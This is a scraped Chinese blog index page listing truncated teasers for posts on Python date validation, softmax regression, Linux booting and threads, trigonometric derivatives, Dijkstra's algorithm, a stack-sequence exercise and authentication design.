自定义isdate函数&#xff0c;按日期“属性”&#xff0c;判定字符串日期有效性。 (笔记模板由python脚本于2024年07月05日 15:28:04创建&#xff0c;本篇笔记适合喜欢探究python内建模块的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.o…
阅读更多...
One day for Chinese families

One day for Chinese families

周围生活中的普通家庭的一天流程&#xff1a; 【上班的一天】 【放假的一天】 有家庭的人&#xff0c;上班流程&#xff1a; 01&#xff09;准备早餐&#xff0c;牛奶&#xff0c;面包 02&#xff09;叫娃娃起床&#xff0c;一般要蛮久的&#xff1b;沟通交流 -- 哄娃娃 -- 生气…
阅读更多...
2-5 softmax 回归的简洁实现

2-5 softmax 回归的简洁实现

我们发现通过深度学习框架的高级API能够使实现线性回归变得更加容易。 同样&#xff0c;通过深度学习框架的高级API也能更方便地实现softmax回归模型。 本节如在上节中一样&#xff0c; 继续使用Fashion-MNIST数据集&#xff0c;并保持批量大小为256。 import torch from torc…
阅读更多...
Linux操作系统的引导过程

Linux操作系统的引导过程

系统初始化进程与文件、systemd概述、单元类型、切换运行级别、查看系统默认默认运行、永久切换、常见的系统服务&#xff08;centos&#xff09;-CSDN博客 centos 7系统升级内核&#xff08;ELRepo仓库&#xff09;、小版本升级、自编译内核-CSDN博客 ss命令详细使用讲解文…
阅读更多...
微积分-导数4（三角函数的导数）

微积分-导数4（三角函数的导数）

证明 f ( x ) sin ⁡ x f(x) \sin x f(x)sinx的导数为 f ′ ( x ) cos ⁡ x f(x) \cos x f′(x)cosx 已知函数 f ( x ) sin ⁡ x f(x) \sin x f(x)sinx 画出 f ( x ) f(x) f(x)图像以及 f ′ ( x ) f(x) f′(x)的图像 因此&#xff0c;我们可以合理的猜测&#xff1a;…
阅读更多...
每日一题~ （判断是否是合法的出栈序列）

每日一题~ （判断是否是合法的出栈序列）

大概的题意&#xff1a; 将 1-n 按照顺序进栈&#xff0c;问 输入的序列是否是合法的出栈序列。 遍历序列&#xff0c;如果当前这个值a小于 栈顶的值&#xff0c;说明它还未进栈&#xff08;因为我们是按照顺序进栈的&#xff09;&#xff0c;所以我们将 一些元素进栈&#xff…
阅读更多...
最短路：Dijkstra

最短路：Dijkstra

原始模板&#xff1a; 时间复杂度O() 使用于图很满的情况 struct Node{int y,v;Node(int _y,int _v){y_y;v_v;} };vector<Node> edge[N1]; int n,m,dist[N1]; bool b[N1];int Dijistra(int s,int t){memset(b,false,sizeof(b));memset(dist,127,sizeof(dist));dist[s]…
阅读更多...
Linux开发讲课33---线程实现与线程控制步骤简析

Linux开发讲课33---线程实现与线程控制步骤简析

线程概述 进程是系统中程序执行和资源分配的基本单位。 每个进程都拥有自己的数据段、代码段和堆栈段&#xff0c;这就造成了进程在进行切换等操作时都需要有比较负责的上下文切换等动作。为了进一步减少处理机的空转时间支持多处理器和减少上下文切换开销&#xff0c;进程在演…
阅读更多...
第5章 认证授权：需求分析，Security介绍（OAuth2，JWT），用户认证，微信扫码登录，用户授权

第5章 认证授权：需求分析，Security介绍（OAuth2，JWT），用户认证，微信扫码登录，用户授权

1 模块需求分析 1.1 什么是认证授权 截至目前&#xff0c;项目已经完成了课程发布功能&#xff0c;课程发布后用户通过在线学习页面点播视频进行学习。如何去记录学生的学习过程呢&#xff1f;要想掌握学生的学习情况就需要知道用户的身份信息&#xff0c;记录哪个用户在什么…
阅读更多...
最新文章

Copyright @ 2022~2023